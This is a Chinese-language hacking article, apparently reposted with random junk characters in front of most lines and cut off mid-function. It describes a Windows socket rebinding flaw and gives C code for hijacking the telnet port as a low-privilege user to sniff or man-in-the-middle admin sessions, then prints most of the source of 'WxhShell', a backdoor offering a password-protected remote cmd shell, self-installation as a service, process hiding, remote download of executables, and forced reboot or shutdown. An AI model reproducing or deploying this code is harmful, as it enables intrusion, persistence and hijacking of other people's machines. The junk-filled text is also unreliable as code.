在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
sZF6h=67D s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
v0jgki4t ]
{HI?V saddr.sin_family = AF_INET;
/%A*aGyIc I`4*+a'q& saddr.sin_addr.s_addr = htonl(INADDR_ANY);
L4y4RG/SJ: Nf1-!u7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
k7usMVAA QGmn#]w\\ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
SS.dY""89 UFb)AnK 这意味着什么?意味着可以进行如下的攻击:
0b(N^$js' K:30_l< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
OX\F~+ ;q6Ki.D 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
bhlG,NTP l"]}Ts# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
GYUn6P p,i[W.dy.' 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
jPW#(3hoE y;@:ulv[ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
{fn!' [Nbm|["q~ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
scLll ,~ ZoZ|Ma 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
8X)Y^uGGZ 3y8G?LL/[7 #include
9\JF`ff_ #include
r#]WI| #include
(+y #include
.z}~4BY DWORD WINAPI ClientThread(LPVOID lpParam);
YcK|.Mq': int main()
=h73s0] {
F;0}x;:> WORD wVersionRequested;
L AAHEv DWORD ret;
oj_3ZsO WSADATA wsaData;
V-L"gnd&2 BOOL val;
ur7q [n SOCKADDR_IN saddr;
ut/=R !(K SOCKADDR_IN scaddr;
_D(rI#q int err;
2u*KM`fa` SOCKET s;
LvUj9eVb/L SOCKET sc;
9.B
KI/ int caddsize;
oc0G| HANDLE mt;
Q9G;V]./ DWORD tid;
xLH)P<^`C wVersionRequested = MAKEWORD( 2, 2 );
CooQ>f err = WSAStartup( wVersionRequested, &wsaData );
^iw'^6~ if ( err != 0 ) {
,0HRAmG
printf("error!WSAStartup failed!\n");
F,)%?<!I return -1;
nq8C'Fo!6T }
2Gaa(rJ5o saddr.sin_family = AF_INET;
hJ~Uf5Q 7 X'u6$i //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
1 \6D '/G q 2:6QM& saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
h
Pa_VrH saddr.sin_port = htons(23);
I->Ss},U if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
):_\;.L {
_1 !OlQ printf("error!socket failed!\n");
HLaRGN3, return -1;
b-Q>({=i }
+8Ymw:D7a val = TRUE;
T&o(N3lW //SO_REUSEADDR选项就是可以实现端口重绑定的
G.d TvLv if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
/?F/9hL {
!AfHk| printf("error!setsockopt failed!\n");
@;?p&.W`D return -1;
q0r>2c-d }
0eu$ W //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
3r."j2$Hs0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
H{?vbqQ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
g0Gf6o>2 YRN06*hS if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
e 5*hE {
OL,TFLn4 ret=GetLastError();
=\wxsL printf("error!bind failed!\n");
>!bJslWA return -1;
FOy|F-j }
>DZw listen(s,2);
k:F9. j%* while(1)
J!pygn O {
rb+j*5Es caddsize = sizeof(scaddr);
)@Yf]qx+Y< //接受连接请求
mtmjZP(w sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Y^}Z> if(sc!=INVALID_SOCKET)
x&Kh>PVh\ {
p &"`RS#Z mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
qUGC"<W if(mt==NULL)
};jN\x?&q {
(VEpVn3{ printf("Thread Creat Failed!\n");
5T2CISmu break;
``\i58K{e }
*>2W#D)b= }
v)t:|Q{I CloseHandle(mt);
OJ5#4qJ[ }
!()$8 closesocket(s);
wL
4dTc WSACleanup();
}Nm#q@o$P return 0;
jiS_G%G }
6vNrBB DWORD WINAPI ClientThread(LPVOID lpParam)
%Iv,@}kvT+ {
KZ
;k)O.Ov SOCKET ss = (SOCKET)lpParam;
,J^b0@S SOCKET sc;
+&( Mgbna unsigned char buf[4096];
qr4pR-Gdr SOCKADDR_IN saddr;
7gvnl~C( long num;
se>8 Z4 DWORD val;
hYNY"VB DWORD ret;
k_5L4c:" //如果是隐藏端口应用的话,可以在此处加一些判断
^2on.N q> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
vZ&T}H~8 saddr.sin_family = AF_INET;
F9E<K]7K saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Bb^;q#S1 saddr.sin_port = htons(23);
+|'c>,?2H if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_Wp{[TH {
b#toM';T printf("error!socket failed!\n");
X#TQ_T" return -1;
lG!|{z7+0 }
*@v)d[z_ val = 100;
QWSTR\! if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.C(eh
{
UT=tT)4b ret = GetLastError();
F{Jw^\ return -1;
NOiN^::m }
]?+p5;{y4 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!K}~/9Z=m
{
JedmaY06= ret = GetLastError();
L>9V&\ return -1;
8WbgSY` }
&d+Kg0 : if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
0y;*Cfi9 {
n}_JB>i~ printf("error!socket connect failed!\n");
?Exv|e closesocket(sc);
B~JwHwIhA closesocket(ss);
qx8fRIK% return -1;
o+QE8H43 }
MgOR2,cR while(1)
YY)s p% {
S=<}:#;u0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
E.ly#2? //如果是嗅探内容的话,可以再此处进行内容分析和记录
ceM6{N<_U //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
|_*O '#jx num = recv(ss,buf,4096,0);
o(
RG-$ if(num>0)
=/Mq 5. send(sc,buf,num,0);
-pa )K"z else if(num==0)
!QHFg-=7 break;
BuWHX>H num = recv(sc,buf,4096,0);
WD2]&g if(num>0)
pP?MWe
Eg send(ss,buf,num,0);
Fzpfoz<N else if(num==0)
!*m5F8Qm?A break;
+5o8KYV }
=Z+nz^'b closesocket(ss);
$8xl#SqH closesocket(sc);
RHq/JD- return 0 ;
Z!@~>i }
TRQF^P3o 0]=i}wL 8 8x8uo ==========================================================
=aA+~/~8% =aj/,Q] 下边附上一个代码,,WXhSHELL
X*39c
b(b feNdMR7eM ==========================================================
zj`v?#ET 7_Z#m ( #include "stdafx.h"
F\AX: 04'~ta(t #include <stdio.h>
OCJnjlV% #include <string.h>
/VzI'^ #include <windows.h>
IOoz^/' #include <winsock2.h>
j!4et; #include <winsvc.h>
=fve/_Q~ #include <urlmon.h>
sqJSSNt
\ 3?LqJ #pragma comment (lib, "Ws2_32.lib")
?~;:jz|9<' #pragma comment (lib, "urlmon.lib")
]dk8lZ;bo YZ7|K< #define MAX_USER 100 // 最大客户端连接数
8`
@G; o #define BUF_SOCK 200 // sock buffer
W4e5Rb4~f" #define KEY_BUFF 255 // 输入 buffer
!n$tr AvSM^ #define REBOOT 0 // 重启
.J.-Mm`. #define SHUTDOWN 1 // 关机
Zh*u(rO Z@&Dki #define DEF_PORT 5000 // 监听端口
Ucm :S-
Nwt" \3 #define REG_LEN 16 // 注册表键长度
H5]^
6
HwX #define SVC_LEN 80 // NT服务名长度
2eC(Ijq[a !V\Q<So< // 从dll定义API
T
G{k0cdOT typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ZAUQJS 91E typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
92d6U2T4& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4Hn`'+b typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
no]z1D ks97k8B // wxhshell配置信息
80&.JP. struct WSCFG {
YoLx>8 int ws_port; // 监听端口
D3^7y.u<) char ws_passstr[REG_LEN]; // 口令
'XofD}dm int ws_autoins; // 安装标记, 1=yes 0=no
I_%a{$Gjl char ws_regname[REG_LEN]; // 注册表键名
%4
XJn@J char ws_svcname[REG_LEN]; // 服务名
vR=6pl$|~~ char ws_svcdisp[SVC_LEN]; // 服务显示名
J9Ou+6 u( char ws_svcdesc[SVC_LEN]; // 服务描述信息
9,_mS{+B char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,FMx5$ int ws_downexe; // 下载执行标记, 1=yes 0=no
ivz>dJ ?T char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
}gMDXy} char ws_filenam[SVC_LEN]; // 下载后保存的文件名
vRxM4O~" (_*5oj- };
!x>%+&c>k T?1Du"d8 // default Wxhshell configuration
lGk{LO) struct WSCFG wscfg={DEF_PORT,
!$Tw^$n "xuhuanlingzhe",
n;p:=\uN 1,
V$icWu "Wxhshell",
*^wB!{.# "Wxhshell",
{^rs#, W "WxhShell Service",
k`9)=&zX+ "Wrsky Windows CmdShell Service",
`S.ZS}~!F "Please Input Your Password: ",
)0e2ic/ 1,
d]i(h~?_ "
http://www.wrsky.com/wxhshell.exe",
RUUk
f({( "Wxhshell.exe"
O Xi@c;F };
sf| ke9-3 ZP$-uaa- // 消息定义模块
#gaQaUjR char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
zBp{K@U[|M char *msg_ws_prompt="\n\r? for help\n\r#>";
{}m PEd b char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
U{$1[,f char *msg_ws_ext="\n\rExit.";
EVUq--)~ char *msg_ws_end="\n\rQuit.";
7,MS '2nz char *msg_ws_boot="\n\rReboot...";
0lsXCr_X char *msg_ws_poff="\n\rShutdown...";
;k86"W char *msg_ws_down="\n\rSave to ";
rVa?JvDO= 6ubL1K char *msg_ws_err="\n\rErr!";
fr}Eaa-{^ char *msg_ws_ok="\n\rOK!";
X _G| hx >'5_Y]h4m| char ExeFile[MAX_PATH];
|*X*n*oI int nUser = 0;
he -Ji HANDLE handles[MAX_USER];
+"}=d3E6 int OsIsNt;
q4$+H{xB jWO/
xX SERVICE_STATUS serviceStatus;
GK}'R= SERVICE_STATUS_HANDLE hServiceStatusHandle;
!W'Ui
9uX !k(_PM // 函数声明
{(#%N5% int Install(void);
Hb(B?!M) int Uninstall(void);
^*= 85iyo int DownloadFile(char *sURL, SOCKET wsh);
N+)?$[ int Boot(int flag);
=!UR=Hq void HideProc(void);
/.eeO k int GetOsVer(void);
?Xo*1Z = int Wxhshell(SOCKET wsl);
<0.$'M~E void TalkWithClient(void *cs);
ow;R$5G int CmdShell(SOCKET sock);
*P!e:Tm) int StartFromService(void);
3!o4)yJWx int StartWxhshell(LPSTR lpCmdLine);
$RwB_F C4#rA.nF| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
oM1
6C| VOID WINAPI NTServiceHandler( DWORD fdwControl );
Ei3zBS?J) ia{c // 数据结构和表定义
NLe}Jqp SERVICE_TABLE_ENTRY DispatchTable[] =
%=<IGce {
(9mM kU= {wscfg.ws_svcname, NTServiceMain},
MfBdNdox7 {NULL, NULL}
gbSt Ar. };
A+wv-~3 o1OBwPj
// 自我安装
{8EW)4Hf int Install(void)
~;OYtz {
_uu<4c char svExeFile[MAX_PATH];
cj|*_} HKEY key;
%_aMl strcpy(svExeFile,ExeFile);
(|fm6$ daAyx- // 如果是win9x系统,修改注册表设为自启动
"$5\, if(!OsIsNt) {
Ti;Ijcq8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
fKa\7{R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jSQ9.%4 RegCloseKey(key);
5NXt$k5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
qG9+/u)\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
F{\gc|!i RegCloseKey(key);
0ZPV'`KGp return 0;
9kY[j2,+ }
oXt,e }
hsG#6?l3 }
rt +..t\ else {
DV]7.Bm l??;3kh1 // 如果是NT以上系统,安装为系统服务
|__=d+M' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
QldzQ%4c\ if (schSCManager!=0)
<;t)6:N\ {
I#FF*@oeM SC_HANDLE schService = CreateService
td -3h,\\ (
n1:v HBM@\ schSCManager,
-,":5V26 wscfg.ws_svcname,
]y)Q!J )Q wscfg.ws_svcdisp,
baoD(0d SERVICE_ALL_ACCESS,
]`w}+B'/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
\Z-2leL)j SERVICE_AUTO_START,
2#/p|$;Ec' SERVICE_ERROR_NORMAL,
2$zU&p7sV svExeFile,
YY4-bNj[p NULL,
b }zBn8l NULL,
9<]a!:!^ NULL,
*Wb=WM-. NULL,
)yb+M ez NULL
M`,XyIn );
=j
/hl if (schService!=0)
IdRdW{o {
FFGqa& CloseServiceHandle(schService);
nyT[^n CloseServiceHandle(schSCManager);
zy N (4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
EZ(^~k=I strcat(svExeFile,wscfg.ws_svcname);
}Ewo_P&` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
-lRhz!E] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
yNJAWM7 RegCloseKey(key);
K2/E#}/ return 0;
X`\:_| }
9g?xlue#? }
qGPb CloseServiceHandle(schSCManager);
%bX0 mN }
"t&{yBQ0u }
R/<=mZ $)e:8jS= return 1;
dTD5(}+J }
d\XRUO[ $-@$i`Kf/ // 自我卸载
CYB=Uq, int Uninstall(void)
Wc#:f8dr {
Ha ZFxh-( HKEY key;
bEr.nF nY) .|\|i if(!OsIsNt) {
de-0?6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8tWE=8< RegDeleteValue(key,wscfg.ws_regname);
~%q7Vmk9 RegCloseKey(key);
/?zW<QUI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
j+748QAhh RegDeleteValue(key,wscfg.ws_regname);
bGh0<r7R RegCloseKey(key);
K a r~I return 0;
j=.g:&r) }
J35l7HH }
v`G U09 }
#cEq_[yI else {
sdF3cX ^[M~K5Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
hrM"Zg if (schSCManager!=0)
5(}H
? {
^)cM&Bxt% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
hBCR]='] if (schService!=0)
GMFc K= {
s%dF~DSK if(DeleteService(schService)!=0) {
~440#kj< CloseServiceHandle(schService);
u"F;OT\>g CloseServiceHandle(schSCManager);
iAQvsE return 0;
REx[`x,GUh }
mMxHR$2 CloseServiceHandle(schService);
(4)3W^/kk? }
$k(9 U\y- CloseServiceHandle(schSCManager);
(
ji_o^ }
!5;t#4= }
I>m;G
` PbUI!Xqe` return 1;
qU6BA\ZL }
712=rUI%! c57b f // 从指定url下载文件
S_!R^^ySG9 int DownloadFile(char *sURL, SOCKET wsh)
s}b*5@8|tA {
4 ROWz HRESULT hr;
(/q}mB char seps[]= "/";
)b9I@)C char *token;
'{D%\w5{ char *file;
Hz4uZ*7\| char myURL[MAX_PATH];
5~yb
~0 char myFILE[MAX_PATH];
*Ypq q ~iT{8 strcpy(myURL,sURL);
.xv^G?GG token=strtok(myURL,seps);
Z)v)\l9d while(token!=NULL)
0P:F97"1, {
{dZ8;Fy4 file=token;
9XN~Ln@} token=strtok(NULL,seps);
2<.Vv\
= }
2?*1~ 5~I `t\z GetCurrentDirectory(MAX_PATH,myFILE);
2wOy}: strcat(myFILE, "\\");
I;iR(Hf)?q strcat(myFILE, file);
lWl-@*' send(wsh,myFILE,strlen(myFILE),0);
w})NmaT;YF send(wsh,"...",3,0);
`hF;$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
g Np-f if(hr==S_OK)
\R;K>c7= return 0;
@5*xw1B else
w2<*$~C] return 1;
}Ch[|D=Wd6 3&'R1~Vh }
Cs;<'[_?YO NQ3|\<Wt // 系统电源模块
i~AJ.@
#
int Boot(int flag)
AuM:2N2 {
L(Rorf~V HANDLE hToken;
~g96o81V TOKEN_PRIVILEGES tkp;
j)<[j&OWw 1(F'~i|5 if(OsIsNt) {
NFM-)Z57 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Pb=rFas*C LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
@>9A$w$H|a tkp.PrivilegeCount = 1;
<VgE39 [ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
c( 8W8R AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
k%a?SU<f if(flag==REBOOT) {
:6sGX p if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
'XME?H:q a return 0;
_PdAN= C3 }
1uj05aZh} else {
c; d"XiA if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
$u-lo| return 0;
1o)=GV1 }
)muv;Rf`e5 }
yL4 -4 else {
?-M)54b\ if(flag==REBOOT) {
Cg?I'1]o6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
K;kLQ2) return 0;
{)jk_&c7 }
}W)Mwu'W else {
_/8y1)I if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
(T`q++ return 0;
y#GCtkhi }
)[RpZpd`* }
D)RdOldr >R) F} return 1;
k@lXXII ? }
]qF<Zw7 %G^(T%q| m // win9x进程隐藏模块
4I+.^7d void HideProc(void)
sF,
uIr/ {
olslzXn7o +&zb^C`J HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
!cv6 #: if ( hKernel != NULL )
=NI.d>kvC {
E{?L= ^cU pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~|J*E38 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
@b>YkJDk FreeLibrary(hKernel);
q8tP29 }
tgS+"ugl _;%.1H{N return;
R\i]O }
ENpaaW@!Y 4E,hcu // 获取操作系统版本
re2Fv:4{ int GetOsVer(void)
c@)p Ki#W {
``/y=k/au OSVERSIONINFO winfo;
?cA8P.?^A winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
aslNlH 6 GetVersionEx(&winfo);
_g^E%@'W if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Rs^jk)Z:) return 1;
"o~N42DLB% else
D'Jm!Ap return 0;
8dYk3sk }
FL5ibg D;K& // 客户端句柄模块
Bl:{p>-q int Wxhshell(SOCKET wsl)
Nt?2USTs- {
'bbV<?): SOCKET wsh;
nDwq!LEx%5 struct sockaddr_in client;
,Uv{dG DWORD myID;
19pND
m2H1 Gl dH SCy while(nUser<MAX_USER)
)+VHt
{
[ ((h<e int nSize=sizeof(client);
~k"eEV
p wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
{.0X[uAf if(wsh==INVALID_SOCKET) return 1;
0#2T0zk xop-f#U* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
BvNl?A@]A if(handles[nUser]==0)
v[p/c.p?i closesocket(wsh);
d8VWi* else
YY1{v?[ nUser++;
[w+yQ7P }
9;r48)5 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
u)N2 ;Hz`0V return 0;
sj?`7kg }
A8CIP:Z V!j K3vc // 关闭 socket
_3-RoA'UZr void CloseIt(SOCKET wsh)
5( mCBH {
3J'Bm" closesocket(wsh);
,k`YDy|#e nUser--;
BLsdx} ExitThread(0);
(xjoRbU* }
Fv5x6a QYODmeu // 客户端请求句柄
Wo<PmSt9i void TalkWithClient(void *cs)
({ :yw {
tIc0S!H# GF$rPY[ SOCKET wsh=(SOCKET)cs;
dM>j<JC= char pwd[SVC_LEN];
t1*BWY char cmd[KEY_BUFF];
!HT> char chr[1];
%B*<BgJ;4F int i,j;
*Xf[b)FR o`JlXuG?o while (nUser < MAX_USER) {
vfk7J5y ?Oe_}
jv; if(wscfg.ws_passstr) {
fF9;lWt if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&-=G9sb, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
2Mv)0%,c //ZeroMemory(pwd,KEY_BUFF);
cP$wI;P i=0;
GA%"w=M\ while(i<SVC_LEN) {
Azdz3/ P|!/mu] // 设置超时
OXa5Jg}= fd_set FdRead;
4jq`No_ struct timeval TimeOut;
\ _-kOS FD_ZERO(&FdRead);
ePPp)= FD_SET(wsh,&FdRead);
2\$WP-)% TimeOut.tv_sec=8;
l>[QrRXiSN TimeOut.tv_usec=0;
ouu-wQ|(mM int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
:_I
wc= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
g9grfN "'&>g4F`o if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
d=c1WK pwd
=chr[0]; P_^|KEz
if(chr[0]==0xd || chr[0]==0xa) { /S2p ``E+
pwd=0; ~Q{[fy=
break; !)l%EJngL
} z_[3IAZ
i++; hhh: rmEZl
} q:D0$YY0
o q'J*6r
// 如果是非法用户,关闭 socket 5Qm.ECXV
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y:^>(l #;
} w;h\Y+Myyk
p8}5x 2F
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f;_K}23
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1,*Z_ F=y
1Q2k>q8
while(1) { EFT02#F_f
,*O{jc`(
ZeroMemory(cmd,KEY_BUFF); WMdz+^\(
<or>bo^
// 自动支持客户端 telnet标准 {XVf|zM,
j=0; ;)bF#@Q
while(j<KEY_BUFF) { GmEJ,%A
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k:HSB</}
cmd[j]=chr[0]; ys"mP*wD
if(chr[0]==0xa || chr[0]==0xd) { eiNk]KXAYX
cmd[j]=0; h#6 jUQ
break; NIXc ib"tG
} n<Xm%KH.
j++; ]J"+VZ_"I
} *9U4^lJjn
Xj@
// 下载文件 1rvf\ [
if(strstr(cmd,"http://")) { \Im\*A
send(wsh,msg_ws_down,strlen(msg_ws_down),0); *t]&b ;=gE
if(DownloadFile(cmd,wsh)) "8j;k5<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VEdnP+D
else ovBd%wJ 0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VQW)qOR9
} \Kzt*C-ZH
else { T\b";+!W
si"mM>e
switch(cmd[0]) { 4'4s EjyA
b6E8ase:F
// 帮助 d8y=.
case '?': { 3<.j`JB@&
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i+
&lMgh
break; RWm Q]
} BBuYO$p
// 安装 ~sU!
1
case 'i': { V
n!az}
if(Install()) 5 xzB1n8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1{fwr1b
else 6w`}+3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (Q
p]0
break; ;0_J7
} ~ dI&> CL
// 卸载 pl^"1Z=*
case 'r': { uD*s^
if(Uninstall()) rsIPI69qJ.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d_?Zr`:
else }rAN2D]"}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tEs[zo+DR-
break; !6fpMo
} =D"63fP1
// 显示 wxhshell 所在路径 *U^\Mwp
case 'p': { "GC]E8&>H
char svExeFile[MAX_PATH]; PAWr1]DI
strcpy(svExeFile,"\n\r"); ) GT?Wd
strcat(svExeFile,ExeFile); YPJx/@Z`
send(wsh,svExeFile,strlen(svExeFile),0); uP'w.nA&2
break; -~GJ; Uw
} %K f. F
// 重启 Hn'2'Vu
case 'b': { t-gNG!B
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hq[gj?P
if(Boot(REBOOT)) nJ0eZBgB]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z o))x(
else { QRG)~
closesocket(wsh); GWE0 UO}
ExitThread(0); E1 gTrMo
} {3p7`h~
break; aKFA&Xnsl
} )LMuxj
// 关机 #WmAkzvq
case 'd': { `m0Uj9)#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t>|N4o
if(Boot(SHUTDOWN)) )/i|"`)>_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R{y{
else { IqJ=\
closesocket(wsh); $iz pH
ExitThread(0); H?bsK~
} v+_Y72h*a
break; )B5gs%u]
} <XcMc<h~
// 获取shell JhXN8Bq33
case 's': { F0^~YYRJV
CmdShell(wsh); W%Nu]9T
closesocket(wsh); |l \/ {F
ExitThread(0); lJ1xx }k{U
break; Tq_X8X#p
} !U~#H_
// 退出 j I@$h_n
case 'x': { ?RAR
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
o*ED!y7
CloseIt(wsh); 8q[WfD
break; zZ0V6T}
} Cspm\F
// 离开 -oT+;2\2
case 'q': { iwx0V
send(wsh,msg_ws_end,strlen(msg_ws_end),0); F,2#;t4
closesocket(wsh); 4O"kOEkKT>
WSACleanup(); J9t? ]9.,:
exit(1); Z/UVKJm>:
break; |a:VpM
} Uht:wEr
} UNLNY,P/!)
} 0g uc00IN
v 5ddb)
// 提示信息 f<:SdtG5
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w*kFtNBfU
} W_n.V" hN
} {%~Ec4r
f]65iE?x
return; ewPd hCK
} uB"m!dL
3Ty{8oUs^
// shell模块句柄 -#M~NbI,
int CmdShell(SOCKET sock) l'8TA~
{ 1gK3=Ys
STARTUPINFO si; Dk6\p~q
ZeroMemory(&si,sizeof(si)); BcO2* 3
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j?) `VLZ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4J|t}
PROCESS_INFORMATION ProcessInfo; KKJ [
char cmdline[]="cmd"; w[[@&T\`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fx"+ZR
return 0; a8P6-)W
} CP#MNNvgrw
R*#Q=_
// 自身启动模式 ;//qjo
int StartFromService(void) )L("t
{ HCy} '}d
typedef struct )cBV;
E<
{ 0|vWwZq
DWORD ExitStatus;
3YF]o9
